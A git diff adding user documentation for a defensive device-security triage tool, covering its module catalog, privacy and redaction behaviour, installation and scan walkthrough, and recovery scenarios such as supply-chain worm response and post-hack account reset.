`open_ports_scan` | macOS | safe | 3s | — | +| `password_manager_check` | macOS, Windows | safe | 10s | Check whether this machine has a password manager, and where passwords live. | +| `privacy_audit` | macOS | safe | 5s | — | +| `privacy_permissions_audit` | macOS | safe | 5s | — | +| `remote_login_check` | macOS | safe | 10s | — | +| `rootkit_check` | macOS | safe | 5s | — | +| `safari_extensions` | macOS | safe | 3s | — | +| `scheduled_tasks_audit` | macOS | safe | 5s | — | +| `screen_lock_check` | macOS | safe | 3s | — | +| `screen_time_audit` | macOS | safe | 5s | — | +| `screen_time_parental` | macOS | safe | 5s | — | +| `security_baseline_diff` | macOS, Windows, Linux | safe | 20s | Record what this machine looks like, then report only what changed. | +| `session_revocation_scan` | macOS, Windows | safe | 15s | Inventory the sign-in surfaces that survive a password change. | +| `sharing_preferences_audit` | macOS | safe | 5s | — | +| `sharing_services` | macOS | safe | 10s | — | +| `sip_gatekeeper` | macOS | safe | 3s | — | +| `siri_privacy` | macOS | safe | 3s | — | +| `ssh_key_audit` | macOS | safe | 10s | — | +| `stalkerware_scan` | macOS, Windows, Linux | safe | 20s | Look for software installed to watch the person using this computer. | +| `sudo_config_audit` | macOS | safe | 3s | — | +| `sudo_touchid` | macOS | safe | 2s | — | +| `suspicious_connections` | macOS | safe | 3s | — | +| `suspicious_processes` | macOS | safe | 3s | — | +| `system_extensions` | macOS | safe | 5s | — | +| `twofa_audit` | macOS, Windows | safe | 10s | Check what two-factor authentication capability exists on this device. | +| `usb_device_audit` | macOS | safe | 5s | — | +| `user_account_audit` | macOS | safe | 5s | — | +| `vpn_config` | macOS | safe | 3s | — | +| `win_antivirus_status` | Windows | moderate | 10s | — | +| `win_autorun` | Windows | safe | 5s | — | +| `win_autoruns_audit` | Windows | safe | 10s | — | +| `win_bitlocker` | Windows | safe | 5s | — | +| `win_bitlocker_check` | Windows | safe | 5s | — | +| `win_cortana_telemetry` | Windows | safe | 5s | — | +| `win_credential_guard` | Windows | safe | 10s | — | +| `win_credential_manager_audit` | Windows | safe | 5s | — | +| `win_crypto_miner_detect` | Windows | safe | 20s | Windows counterpart to the macOS ``crypto_miner_detect`` module. | +| `win_defender` | Windows | moderate | 10s | — | +| `win_defender_deep_check` | Windows | safe | 15s | — | +| `win_firewall` | Windows | moderate | 5s | — | +| `win_firewall_rules_audit` | Windows | safe | 10s | — | +| `win_group_policy_audit` | Windows | safe | 10s | — | +| `win_hosts_file` | Windows | safe | 3s | — | +| `win_hosts_file_check` | Windows | safe | 5s | — | +| `win_local_admin_audit` | Windows | safe | 5s | — | +| `win_malware_indicators` | Windows | safe | 15s | — | +| `win_network_shares_audit` | Windows | safe | 10s | — | +| `win_proxy_detect` | Windows | safe | 5s | — | +| `win_rdp_check` | Windows | safe | 5s | — | +| `win_remote_access_audit` | Windows | safe | 10s | — | +| `win_rootkit_check` | Windows | safe | 30s | — | +| `win_scheduled_tasks` | Windows | safe | 5s | — | +| `win_scheduled_tasks_security` | Windows | safe | 10s | — | +| `win_services_audit` | Windows | safe | 10s | — | +| `win_services_security_audit` | Windows | safe | 10s | — | +| `win_suspicious_processes` | Windows | safe | 10s | — | +| `win_uac_check` | Windows | safe | 3s | — | +| `win_user_accounts` | Windows | safe | 5s | — | +| `xprotect_status` | macOS | safe | 3s | — | + +## Reading a module before you run it + +Every module is a single `__init__.py` under +`modules///`. There is no compiled code, no plugin +download, and no dynamic fetch — what is in the tree is what runs. To read one: + +```console +$ less modules/security/linux_firewall_check/__init__.py +``` + +The top of the file is a docstring stating what the check looks at and why, the +class body declares the metadata shown in the tables above, `check()` is the +read-only half, and `fix()` is the half that produces guidance or mutations. +See [Trust and safety](trust-and-safety.md). diff --git a/docs/privacy.md b/docs/privacy.md new file mode 100644 index 0000000..459168a --- /dev/null +++ b/docs/privacy.md @@ -0,0 +1,195 @@ +# Privacy + +Short version: everything happens on your machine. There is no telemetry, no +analytics, no crash reporting, and no account. Two things reach the network and +both need you to ask: `rescue update`, and the optional AI layer. + +## What the tool touches + +**It reads local system state.** Process lists, disk and mount information, +network interfaces and the neighbour table, systemd units, cron entries, launch +agents, XDG autostart entries, shell startup files, installed package lists, +system logs and journal output, firewall and SSH configuration, browser +extension manifests, startup items, and metadata about keychains and credential +stores. + +**It does not read your secrets.** There is no code path that opens a password +manager vault, extracts keychain or Credential Manager *contents*, reads +browser history or page contents, or opens your documents and photos. The +`evidence_bundle` module prints the exclusion list when it runs: + +```text +Never collected, under any circumstances: + Passwords, passphrases, and password-manager vaults + Authentication tokens, cookies, and session identifiers + Keychain and Credential Manager contents + Private keys of any kind + Browser history and page contents + Documents, photos, and other personal files +``` + +**It never asks you to type a secret.** No prompt in the tool accepts an +account password, a one-time code, a recovery code, or a master password. Your +operating system may prompt you for an administrator password on its own +dialog; the tool never sees what you type there. + +## What is written to disk + +Only these, and only when you run the command that writes them: + +| Path | Written by | Contains | +| --- | --- | --- | +| `~/.rescue/sessions/.json` | `rescue guide` | Which guide steps you have marked complete. No findings. | +| `~/.rescue/cases/case-.{json,md}` | `rescue export` | A redacted record of one scan. | +| `~/.config/rescue/revoked_signers.json` | `rescue trust revoke` | Signer IDs you have stopped trusting, and why. | +| `~/.local/share/rescue/content/` | `rescue update` | The verified content checkout. | + +Case files are written with owner-only permissions (`0600`) where the +filesystem supports it, because even redacted they describe a machine's +security posture and land somewhere other local accounts may be able to read. + +Nothing else is persisted. A `rescue scan` writes nothing at all. + +## What leaves the machine + +Three things, exhaustively: + +1. **`rescue update`** contacts the configured content git remote when you run + it. It sends nothing about your machine — it is a `git fetch`. (On the + current release it fails before contacting anything, because the shipped + signer keys are placeholders. See + [Trust and safety](trust-and-safety.md#signed-content-updates).) +2. **The AI layer**, when you explicitly enable it. Detailed below. +3. **Individual checks that use the network by their nature** — a speed test + measures throughput, a LAN inventory sends ARP/neighbour queries on your own + local segment. These talk to your network, not to the project. Read the + module if you want to be certain what a specific check does. + +There is no "phone home" on launch, no version check, no usage counter, and no +error reporting. + +## What the AI layer sends + +The AI layer is **off unless two separate things are true**: + +1. A provider is configured through an environment variable — + `ANTHROPIC_API_KEY`, `OPENAI_API_KEY`, or `OLLAMA_HOST`. +2. You explicitly ask for it on the command line — `--copilot` on `rescue + --auto` or `rescue run`, or the `rescue explain` / `rescue recommend` + commands, which are themselves the opt-in. + +Miss either and you get: + +```text +This feature requires an AI provider. +Set ANTHROPIC_API_KEY, OPENAI_API_KEY, or OLLAMA_HOST, then try again. +``` + +### The exact payload + +For `--copilot` and `rescue explain`, the message body is built by +`build_findings_summary` in `rescue/ai/explainer.py`, one line per finding: + +```text +[/] () : +``` + +That is all. **Not sent:** your hostname, username, home path, IP addresses, +serial numbers, the `Finding.data` payloads, your `SystemProfile`, the list of +modules that ran, or anything about checks that found nothing. + +The accompanying system prompt is a fixed instruction to write a 2–4 sentence +plain-language narrative and to neither suggest shell commands nor claim to fix +anything. + +For `rescue recommend`, what is sent is what you type at the prompt, plus the +model's turns. It is a conversation you drive; type only what you want to send. + +!!! warning "Finding descriptions are free text and are not redacted before sending" + Findings are written by 287 modules, and a description can legitimately + contain a file path, a process name, or a service name from your machine. + The AI payload is **not** run through the redaction pipeline that + `rescue export` uses. If that matters to you, use a local provider: + + ```console + $ export RESCUE_AI_PROVIDER=ollama + $ rescue explain + ``` + + With Ollama the request goes to `http://localhost:11434` (or your + `OLLAMA_HOST`) and never leaves the machine. + +### Who receives it + +Whoever runs the provider you configured: + +| Provider | Enabled by | Data goes to | +| --- | --- | --- | +| Anthropic | `ANTHROPIC_API_KEY` | Anthropic's API, under their terms. | +| OpenAI | `OPENAI_API_KEY` | OpenAI's API, under their terms. | +| Ollama | `OLLAMA_HOST`, or `RESCUE_AI_PROVIDER=ollama` | Your own Ollama instance — local by default. | + +When more than one is configured, the order of preference is `RESCUE_AI_PROVIDER` +first, then Anthropic, then OpenAI, then Ollama. Set `RESCUE_AI_PROVIDER` +explicitly if you care which one gets your data. + +The AI layer can never take down a scan: the deterministic results are printed +first, and a provider failure is reported as a warning with "(the scan results +above are unaffected)". + +## The redacted case export + +`rescue export` produces the artifact you are most likely to paste into a chat +window, an email, or a public issue — so redaction runs over **every** string +that leaves, including free-text descriptions from modules the export code +cannot audit individually. + +### What is removed + +| Removed | Replaced with | +| --- | --- | +| PEM private key blocks | `[redacted] private key` | +| `Authorization:` / `Proxy-Authorization:` header values (rest of line) | `[redacted]` | +| `api_key=`, `secret=`, `password=`, `token=`, `access_key=` and similar assignments | `[redacted]` | +| GitHub tokens (`ghp_`, `gho_`, `ghu_`, `ghs_`, `ghr_`) | `[redacted] github token` | +| OpenAI-style keys (`sk-…`) | `[redacted] api key` | +| Slack tokens (`xoxb-`, `xoxp-`, …) | `[redacted] slack token` | +| JWTs (`eyJ….….…`) | `[redacted] jwt` | +| AWS access key IDs (`AKIA…`) | `[redacted] aws key id` | +| Email addresses | `[redacted] email` | +| Your home directory path | `~` | +| Your account name (3+ characters) | `[user]` | +| The hostname | `[redacted]` | + +Redaction is recursive: it runs over finding titles, descriptions, error text, +unsupported reasons, action titles and descriptions, rollback and verification +metadata, notes, and every string nested inside a `Finding.data` dictionary. +Values that are not JSON-serialisable are stringified and then redacted, so an +unexpected type cannot cause the whole case to be lost. + +The export is also honest about what happened: guidance is recorded as guidance +even if a module flagged it successful, and an action is only recorded as +`changed_the_system` when it was a mutation that executed and succeeded. + +### What redaction cannot promise + +The tool says this itself, every time: + +```text +Both files are redacted, but module output is free text — read them before +sharing. +``` + +Patterns catch credential *shapes*. They cannot catch a secret that does not +look like one, a company-internal hostname in a service name, a project name in +a file path, or a person's name in a Wi-Fi SSID. **Read the Markdown file +before you send it.** It is written for exactly that. + +Note also that `rescue scan --json` is **not** redacted — it is the raw result +stream for local tooling. Use `rescue export` for anything you intend to share. + +## Guide progress + +`~/.rescue/sessions/.json` stores the profile name, the current phase, +and the step numbers you have marked complete. It contains no findings and +nothing about your machine, and deleting it simply resets your progress. diff --git a/docs/quickstart.md b/docs/quickstart.md new file mode 100644 index 0000000..377f0c9 --- /dev/null +++ b/docs/quickstart.md @@ -0,0 +1,329 @@ +# Quickstart + +Install the tool, run one read-only scan, and learn to read the output. Fifteen +minutes, and nothing on your machine changes. + +## 1. Install + +The tool needs **Python 3.11 or newer**. Check with `python3 --version` (macOS +and Linux) or `py --version` (Windows). You also need `git`. + +!!! danger "This project is not published on PyPI — install from source" + There is no `pip install multiverse-device-rescue`. The maintainers do not + control that name on PyPI or any other package registry, so **any package + published there under that name is not this project**, and installing it + would run code from a party unrelated to this repository. + + That is precisely the supply-chain attack this tool helps people + investigate, so it would be a poor way to start. Every tab below installs + from a git checkout you can read before you run it. + + The same applies to the extras: use `pip install ".[ai]"` **from your + checkout**, never `pip install "multiverse-device-rescue[ai]"`. (One + provider error message in the source suggests the latter; it is wrong, and + the checkout form is the one to use.) + +=== "macOS" + + ```console + $ git clone https://github.com/lizTheDeveloper/multiverse-device-rescue.git + $ cd multiverse-device-rescue + $ python3 -m venv .venv + $ source .venv/bin/activate + $ pip install . + $ rescue version + multiverse-device-rescue 0.1.0 + ``` + + If `rescue` is not found after activating the venv, call the tool through + Python instead: + + ```console + $ python3 -m rescue.cli version + ``` + + Some checks read system state that macOS protects. See + [permissions](troubleshooting.md#permissions-and-sudo) before you conclude + a check is broken. + +=== "Windows" + + ```doscon + C:\> git clone https://github.com/lizTheDeveloper/multiverse-device-rescue.git + C:\> cd multiverse-device-rescue + C:\> py -m venv .venv + C:\> .venv\Scripts\activate + C:\> pip install . + C:\> rescue version + multiverse-device-rescue 0.1.0 + ``` + + If `rescue` is not recognised, use `py -m rescue.cli` instead. A number of + Windows checks read state that requires an elevated prompt; run + **Windows Terminal as Administrator** if a check reports that it could not + read something. + +=== "Linux" + + ```console + $ git clone https://github.com/lizTheDeveloper/multiverse-device-rescue.git + $ cd multiverse-device-rescue + $ python3 -m venv .venv + $ source .venv/bin/activate + $ pip install . + $ rescue version + multiverse-device-rescue 0.1.0 + ``` + + The virtual environment is not optional on most distributions: a + system-wide `pip install` is refused by PEP 668 ("externally-managed + environment"). Add `.venv/bin` to your `PATH` if you want to type `rescue` + from anywhere. + +=== "For development" + + Use an editable install so your edits take effect without reinstalling, and + pull in the test tooling: + + ```console + $ git clone https://github.com/lizTheDeveloper/multiverse-device-rescue.git + $ cd multiverse-device-rescue + $ python3 -m venv .venv + $ source .venv/bin/activate # Windows: .venv\Scripts\activate + $ pip install -e ".[dev]" + $ python -m pytest -q + ``` + + See [Contributing](contributing.md). + +Installing from source is also how you read every check before you run it — the +modules are plain Python files under `modules/`, with nothing compiled and +nothing fetched at runtime. See +[Trust and safety](trust-and-safety.md#read-the-source-of-any-check). + +!!! info "Desktop app builds" + The repository contains packaging scripts for a desktop build — + `scripts/build-macos-app.sh` and `scripts/build-windows.bat`, which wrap + PyInstaller (`scripts/build.py`) and the Electron shell in `desktop/`. + These are **run by a maintainer to produce an installer**; this project + does not publish prebuilt downloads, and nothing in CI produces one. If + someone hands you an installer claiming to be this tool, verify where it + came from — or build it yourself from the checkout. + +!!! note "The modules, profiles, and guides are data, not code you import" + They install to a share directory alongside the package rather than inside + it. That is why a working install can still report "no modules + discovered" if the packaging is broken — and why CI has a job that installs + into a clean environment and runs the tool from outside the source tree. + +## 2. Your first scan + +```console +$ rescue scan +``` + +That is the whole thing. `scan` runs every check that declares support for your +platform, prints a report per module, and exits. It does not prompt you, it +does not apply anything, and it does not ask for a password. + +Expect it to take a few minutes on a full desktop scan. Each individual check +is capped at 60 seconds by the orchestrator, so one hung command cannot stall +the session. + +## 3. Reading the results + +Here is real output, lightly trimmed, from a Linux machine: + +```console +$ rescue scan +=== process_scanner === +No issues found. +=== linux_package_updates === +Found 2 issue(s): + [info] 1 package update(s) available: Ordinary updates — bug fixes and new + versions. Worth applying, but not urgent in the way security updates are. + + coreutils + [info] Confirm Ubuntu 24.04.4 LTS is still receiving security updates: This + machine reports Ubuntu 24.04.4 LTS (version 24.04). + + A release past its end-of-life keeps working and stops getting security + fixes, so it reports zero pending updates while quietly accumulating + unpatched vulnerabilities. +=== linux_service_health === +Found 1 issue(s): + [warning] No time-synchronisation service appears to be running: Nothing on + this machine is keeping the clock correct. A drifted clock breaks HTTPS + certificate validation, two-factor codes, and scheduled jobs — and it does it + in ways that look like a network fault rather than a clock fault. + + Checked for: systemd-timesyncd, chronyd, ntpd, ntpsec +=== arp_spoof_check === +Check unavailable: The neighbour table could not be read, or is empty. Check +that this machine is connected to the network. +=== linux_account_audit === +Found 2 issue(s): + [warning] claude can run commands as root without a password: /etc/sudoers + contains a NOPASSWD rule for claude. + + This is convenient and it is also the difference between 'someone got into + your user session' and 'someone got root'. + [info] 2 account(s) can log in to this machine: Accounts that can log in: + root, ubuntu +``` + +### The four outcomes + +Every check lands in exactly one of four states, and they are deliberately not +interchangeable. + +| What you see | What it means | Should you worry? | +| --- | --- | --- | +| `No issues found.` | The check ran to completion and found nothing. | No. | +| `Found N issue(s):` | The check ran and has findings. | Read them — severity decides. | +| `Check unavailable: ` | The check **errored or timed out**. It did not look. | Not necessarily, but you have no information here. | +| `Not supported here: ` | The check cannot run on this machine (wrong platform, missing tool, no permission). | No — but again, you have no information. | + +The last two are the important ones. "Check unavailable" is **not** a clean +bill of health. The tool refuses to collapse "I could not look" into "nothing +is wrong", so when you see it, either fix the cause (usually permissions, see +[Troubleshooting](troubleshooting.md)) or treat that area as unexamined. + +### The three severities + +- **`[info]`** — an observation, usually an inventory. Most `info` findings + exist so a human can spot the one entry they do not recognise. That is the + actual detection mechanism for anything novel: no signature list can know + what is unusual *for you*. +- **`[warning]`** — something is misconfigured, weakened, or worth changing. + Not an emergency. +- **`[critical]`** — something is wrong now and warrants attention today. + +A long list of `info` findings is normal and healthy. Read it, do not panic at +its length. + +## 4. A worked example + +Suppose the scan above is your machine. Here is what you would actually do. + +**Step one — deal with the `[warning]`, ignore the length of the list.** Two +findings matter: no time synchronisation, and a passwordless `sudo` rule. The +rest is inventory. + +**Step two — look at the one module more closely.** Every module runs +standalone: + +```console +$ rescue run linux_account_audit +System: Ubuntu 24.04.4 LTS 6.18.5 | Intel(R) Xeon(R) Processor @ 2.10GHz | x86_64 +Running 1 module(s)... + +=== linux_account_audit === +Found 2 issue(s): + [warning] claude can run commands as root without a password: ... + [info] 2 account(s) can log in to this machine: ... + +Apply fixes for linux_account_audit? [y/N]: +``` + +Answer `N`. You have not committed to anything — the prompt appears *before* +`fix()` runs, and answering no ends the module. For most modules `fix()` +produces guidance text rather than changes anyway, but you never have to find +out to stay safe. + +**Step three — read the check before you trust it.** If you want to know +exactly what `linux_account_audit` looked at, it is one file: + +```console +$ less modules/security/linux_account_audit/__init__.py +``` + +**Step four — get a copy you can share.** When you want to hand the results to +someone who can help: + +```console +$ rescue export +Wrote /home/you/.rescue/cases/case-20260805T230542Z.json +Wrote /home/you/.rescue/cases/case-20260805T230542Z.md + +Both files are redacted, but module output is free text — read them before +sharing. +``` + +The `.md` file is the one for people. Credential-shaped strings, email +addresses, your account name, your home path, and the hostname are stripped +before either file is written. Read [Privacy](privacy.md#the-redacted-case-export) +for exactly what redaction does and does not cover. + +## 5. Now pick your actual situation + +A whole-machine scan is the generic answer. The profiles are the specific ones: +they select the relevant modules, configure them for the threat, and pair them +with a phased human walkthrough. + +```console +$ rescue profiles +ai_worm_response — AI Worm & Spyware Response + Comprehensive scan for AI-led worm compromise ... +digital_security_reset — Digital Security Reset + Post-compromise recovery for someone who has been hacked ... +home_for_the_holidays — Home for the Holidays + Help a family member get their device cleaned up ... +home_network_intrusion — Home Network Intrusion & Cryptojacking Response + Response for a household whose Wi-Fi has been broken into ... +identity_theft_recovery — Identity Theft Recovery + Step-by-step recovery for someone whose identity has been stolen ... +iphone_spyware_check — iPhone / iPad Spyware Check + Scans a local iPhone or iPad backup for known mercenary-spyware ... +``` + +Run one, then open its guide: + +```console +$ rescue --auto --profile digital_security_reset +$ rescue guide digital_security_reset +``` + +`--auto` here still changes nothing — it prints a summary that includes the +number of system changes made, which on the shipped tree is always zero: + +```console +================================================== +Multiverse Device Rescue — Auto Mode +================================================== + +Scanned 26 module(s), found 20 issue(s). Auto mode is read-only: made 0 system +change(s); 0 manual action(s) require you. +``` + +The guide is the part that carries the actual recovery. It tracks your progress +across sessions: + +```console +$ rescue guide identity_theft_recovery +=== Identity Theft Recovery: Phase 0 — The First Hour === +Estimated time: 1 hour + +[human] [pending] Step 1: Start a recovery log before you do anything else +[human] [pending] Step 2: Write down what you already know +[human] [pending] Step 3: Know what identity theft is not your fault +[human] [pending] Step 4: Understand the order, and why it is this order +[human] [pending] Step 5: Decide what to do about the immediate money + +Run again with --complete to mark a step done. + +$ rescue guide identity_theft_recovery --complete 1 +Marked step 1 complete for phase 0. +``` + +Progress lives in `~/.rescue/sessions/.json`, so you can close the +terminal and come back next week. + +## Where to go next + +- **[Pick a scenario](scenarios/index.md)** — the seven built-in situations. +- **[CLI reference](cli.md)** — every command and flag. +- **[Trust and safety](trust-and-safety.md)** — how to satisfy yourself that + this thing is not going to do something to your computer. +- **[Troubleshooting](troubleshooting.md)** — permissions, unavailable checks, + and where files are stored. diff --git a/docs/scenarios/ai-worm-response.md b/docs/scenarios/ai-worm-response.md new file mode 100644 index 0000000..402dc4d --- /dev/null +++ b/docs/scenarios/ai-worm-response.md @@ -0,0 +1,109 @@ +# AI worm response + +**`ai_worm_response`** — 6 modules, no guide. + +## Who this is for + +You are a developer or someone with a development machine, and you have reason +to think you pulled a compromised package, cloned something hostile, or were +hit by one of the self-propagating supply-chain worms that spread through +package registries and developer credentials — Shai Halud, Miasma, +SANDWORM_MODE, SesameOp. + +The pattern these share: they land through a package or repository, harvest git +and SSH credentials, establish persistence, call home, and then use the +credentials they found to move to the next machine or the next registry +account. That is why this profile checks all five of those stages rather than +just scanning for files. + +Also useful if you simply want a hard look at a development machine after a +dependency was found to be malicious. + +## What to run + +```console +$ rescue --auto --profile ai_worm_response +``` + +There is **no guide for this profile** — `rescue guide ai_worm_response` will +tell you `No guide content found`. It is scan-only. For remediation guidance, +each finding carries a code that maps to a walkthrough; see the +[remediation catalog](../REMEDIATION_CATALOG.md), and the +[threat map](../THREAT_REMEDIATION.md) for how this profile fits the broader +threat model. + +## What the tool does + +Six checks, all three platforms, all configured at `sensitivity: elevated` for +this profile — the same modules run more conservatively elsewhere. + +| Module | What it answers | Risk level | +| --- | --- | --- | +| `ai_worm_filesystem` | Filesystem artifacts of known worm families | moderate | +| `ai_worm_git_ssh` | Has git or SSH configuration been tampered with — hooks, keys, config | moderate | +| `ai_worm_persistence` | What has been arranged to run again | **destructive** | +| `ai_worm_network` | Command-and-control indicators in network state | moderate | +| `ai_worm_lateral` | Signs of movement toward other machines and accounts | moderate | +| `mvt_spyware_scan` | Mobile spyware indicators, if a device backup is present | safe | + +!!! warning "This profile contains the tree's only DESTRUCTIVE module" + `ai_worm_persistence` is `RiskLevel.DESTRUCTIVE` — the only module at that + level in the whole catalog. That describes its `fix()`, not its `check()`; + every check in this tool is read-only. + + A destructive module can **never** be auto-applied: the auto-mode gate + requires `RiskLevel.SAFE` *and* `auto_apply = True`. `rescue --auto` will + scan it and list it under "Skipped (requires confirmation)". The only ways + to reach its `fix()` are `rescue run ai_worm_persistence` and answering + `y`, or passing `--yes`. Read what it proposes before you agree. + +The `sensitivity: elevated` setting means these modules flag more aggressively +here than in a general scan. Expect more findings, and expect some of them to +be things you installed on purpose. That trade is deliberate: for this threat, +a false positive costs you five minutes and a false negative costs you your +credentials. + +## What stays human-led + +Everything after the scan, and this is the profile where that matters most — +because the credentials are the payload. + +- **Rotating every credential the machine had access to.** SSH keys, git + tokens, package-registry tokens, cloud credentials, CI secrets. Assume + anything readable on that machine is compromised. +- **Revoking sessions and tokens at each provider**, not just changing + passwords. +- **Checking what was published from your accounts.** These worms propagate by + publishing malicious versions of packages you maintain. +- **Auditing what the machine could reach** — other hosts, internal services, + shared drives. +- **Notifying anyone downstream** of a package or repository you maintain. +- **Deciding whether to reinstall.** For a worm that had credential access and + root, a clean reinstall is often faster than being sure. + +The tool tells you what is observable. It cannot revoke a token at a registry, +and it will not pretend to. + +## What it will never ask you for + +Your git token, your SSH passphrase, your registry credentials, your cloud +keys, or any password. `ai_worm_git_ssh` inspects git and SSH *configuration* +and key *metadata* — it does not read private key material out to you or send +it anywhere. Every rotation happens at the provider, in your browser or their +CLI. + +## Afterwards + +```console +$ rescue export --profile ai_worm_response +``` + +If you are reporting this to a security team or a registry, the redacted case +is a good attachment. Read it first — redaction removes credential-shaped +strings and private-key blocks, but module output is free text and may contain +internal hostnames or repository names. See +[Privacy](../privacy.md#the-redacted-case-export). + +For an active compromise with real stakes — a business, a widely-used package, +a high-risk individual — get professional incident response. This is a triage +tool. diff --git a/docs/scenarios/digital-security-reset.md b/docs/scenarios/digital-security-reset.md new file mode 100644 index 0000000..7ef5c3d --- /dev/null +++ b/docs/scenarios/digital-security-reset.md @@ -0,0 +1,126 @@ +# Digital security reset + +**`digital_security_reset`** — 12 modules, a 6-phase guide. + +## Who this is for + +You have been hacked, or you strongly suspect it. Someone got into an account, +or the machine is doing things you did not ask for, and you need to work out +what is true and then take your accounts back. + +This is the profile for the immediate aftermath: the first hour through the +first month. It assumes you are stressed, and its first phase is about that +rather than about computers. + +Use [identity theft recovery](identity-theft-recovery.md) instead if the damage +is financial — credit opened in your name, tax fraud, benefits fraud. Use +[home network intrusion](home-network-intrusion.md) if the way in was your +Wi-Fi. + +## What to run + +```console +$ rescue --auto --profile digital_security_reset # the device checks +$ rescue guide digital_security_reset # the recovery walkthrough +``` + +Then work the guide, marking steps off as you finish them: + +```console +$ rescue guide digital_security_reset --complete 1 +``` + +!!! warning "Run this from a device you trust, if you can" + If the machine you are scanning may be compromised, do the *account* + recovery from a different device. Changing a password on a machine with a + keylogger hands the new password straight over. The guide's Phase 1 exists + to help you decide. + +## What the tool does + +Twelve read-only checks, in a deliberate order. `evidence_bundle` runs +first — repairs destroy the record of what happened, so evidence readiness is +assessed before anything else reports a problem to fix. + +| Module | What it answers | Platforms | +| --- | --- | --- | +| `evidence_bundle` | What could be preserved before you start changing things | macOS, Windows, Linux | +| `malware_scan_indicators` | Are there known malware indicators on disk | macOS | +| `suspicious_processes` | Is anything unexpected running right now | macOS | +| `remote_login_check` | Is remote access enabled, and who is logged in | macOS | +| `network_connections_monitor` | What is this machine talking to | macOS | +| `browser_extension_audit` | Is an extension reading your pages and credentials | macOS | +| `app_permissions` | What has camera, microphone, screen, and accessibility access | macOS | +| `sharing_services` | What is this machine offering to the network | macOS | +| `code_signature_audit` | Have signed applications been tampered with | macOS, Windows | +| `password_manager_check` | Is a password manager in use, and how are passwords stored | macOS, Windows | +| `twofa_audit` | Which accounts can take a second factor, and of what quality | macOS, Windows | +| `session_revocation_scan` | What stays logged in after a password change | macOS, Windows | + +The last three are the device-side half of account recovery. They answer *is +this device leaking credentials, and what is still signed in* — nothing more. + +!!! info "This profile is strongest on macOS" + Ten of the twelve modules are macOS-only. On Windows you get five; on Linux + you get one. The guide is platform-independent and is the larger half of + the work regardless — but if you are on Linux, pair it with the + [Linux security checkup](linux-security-checkup.md). + +## What stays human-led + +Everything that touches an account. The tool cannot log in as you and should +not try. + +- Changing passwords, at each provider. +- Turning on two-factor authentication. +- Revoking sessions and connected third-party apps. +- Reading sign-in activity logs. +- Calling your bank. +- Deciding whether to wipe and reinstall. + +The modules tell you what is observable on the device. The guide tells you what +to do about it, in what order, and why that order. + +## The phases + +Six phases, roughly three hours of active work spread over days. + +| Phase | Title | Time | Steps | +| --- | --- | --- | --- | +| 0 | Emergency Grounding | 10 min | Ground yourself · Check whether you can still get in · Write down what you've already noticed | +| 1 | Reality Check | 20 min | **Run a full device scan** · List every account tied to this identity · Check recent sign-in activity | +| 2 | Immediate Protective Actions | 30 min | Change your primary email password · Turn on 2FA for email · Revoke sessions and connected apps · **Run the stalkerware and remote-access scan** | +| 3 | Systematic Cleanup | 45 min | Reset primary email password · Reset your top 5 accounts · Clean up saved browser passwords · Contact your bank · Run the 2FA audit · Write down your progress | +| 4 | Rebuilding Security | 40 min | Set up a password manager · Verify unique passwords everywhere · Review phone app permissions · Set up strong 2FA on critical accounts | +| 5 | Mental Health Maintenance | ongoing | Acknowledge the effort this took · Tell someone you trust · Schedule a one-week check-in | + +Steps in **bold** are the automatable ones — a module does that part. Every +other step is yours. + +Two things worth noticing about the ordering. **Email comes first** in Phase 2, +because your email is the recovery path for almost every other account; +securing anything else first is building on sand. And **Phase 5 is not +filler** — recovering from a compromise is genuinely stressful and +time-consuming, and the guide treats finishing well as part of the job. + +## What it will never ask you for + +Stated in the profile's own description: *"This tool never asks for an account +password, a one-time code, or a recovery code."* + +Nor a recovery key, a seed phrase, or your password manager's master password. +The device checks read local state. The account work happens on each provider's +own website, typed by you, into their login form — never into this tool. + +If anything presenting itself as this tool asks you to type a credential into +it, that is not this tool. + +## Afterwards + +```console +$ rescue export --profile digital_security_reset +``` + +Writes a redacted case to `~/.rescue/cases/` — the Markdown file is the one to +send to someone helping you. Read it first; see +[Privacy](../privacy.md#the-redacted-case-export). diff --git a/docs/scenarios/home-for-the-holidays.md b/docs/scenarios/home-for-the-holidays.md new file mode 100644 index 0000000..0839fbd --- /dev/null +++ b/docs/scenarios/home-for-the-holidays.md @@ -0,0 +1,115 @@ +# Home for the holidays + +**`home_for_the_holidays`** — 4 modules, a 1-phase, 13-step guide. + +## Who this is for + +You are the family's tech person, you are visiting, and you have one afternoon. +Somebody's laptop has been getting slower for two years, has no backups, reuses +one password everywhere, and nobody knows what to do if they get locked out. + +This is the least alarming profile in the set and arguably the most useful one: +it is preventative, and it ends with a document that helps after you leave. + +## What to run + +```console +$ rescue --auto --profile home_for_the_holidays +$ rescue guide home_for_the_holidays +``` + +Budget about two hours for the guide. Mark steps off as you go so you can pick +it back up after dinner: + +```console +$ rescue guide home_for_the_holidays --complete 3 +``` + +## What the tool does + +Four checks — this profile is deliberately light on scanning and heavy on the +checklist. + +| Module | What it answers | Platforms | +| --- | --- | --- | +| `disk_space` | Is a filesystem running out of room | macOS, Windows, Linux | +| `disk_smart_check` | Is the drive reporting early failure signs | macOS | +| `malware_scan_indicators` | Known malware indicators on disk | macOS | +| `automatic_updates` | Are OS and app updates actually turning on | macOS | + +`disk_space` is configured at `sensitivity: normal` here — this is a +maintenance visit, not an investigation, and a wall of warnings would make the +afternoon worse. + +!!! info "Three of the four are macOS-only" + On Windows or Linux you get `disk_space` and not much else from the modules. + The 13-step guide is entirely platform-independent and is the substance of + this profile — so the visit still works, you just do the storage-health and + malware parts with the platform's own tools. If the machine is Linux, + pair the visit with the + [Linux security checkup](linux-security-checkup.md). + +## What stays human-led + +Twelve of the thirteen steps. That is the point: this is a profile about a +person doing maintenance with someone, not about a program doing it to them. + +## The one phase, thirteen steps + +**Phase 1 — The Family Device Checkup**, about two hours. + +| # | Step | Who | +| ---: | --- | --- | +| 1 | Run a full device health check | **the tool** | +| 2 | Clear out old temp files and caches | you | +| 3 | Install pending OS and app updates | you | +| 4 | Set up a password manager | you | +| 5 | Migrate saved browser passwords | you | +| 6 | Enable two-factor authentication | you | +| 7 | Review logged-in devices and sessions | you | +| 8 | Set up automatic backups | you | +| 9 | Review social media privacy settings | you | +| 10 | Remove unused accounts and apps | you | +| 11 | Set a strong lock screen | you | +| 12 | Confirm disk encryption is enabled | you | +| 13 | Write the "Help Me" reference document | you | + +**Step 13 is the one that matters most after you leave.** A short document, +kept somewhere they can find it, covering: how to get into the password +manager, where the backups are, what to do if the machine will not start, and +who to call. Most of the value of the visit evaporates without it — a password +manager nobody can get into is worse than no password manager. + +**Steps 4–7 are the security core.** Password manager, migrate the browser's 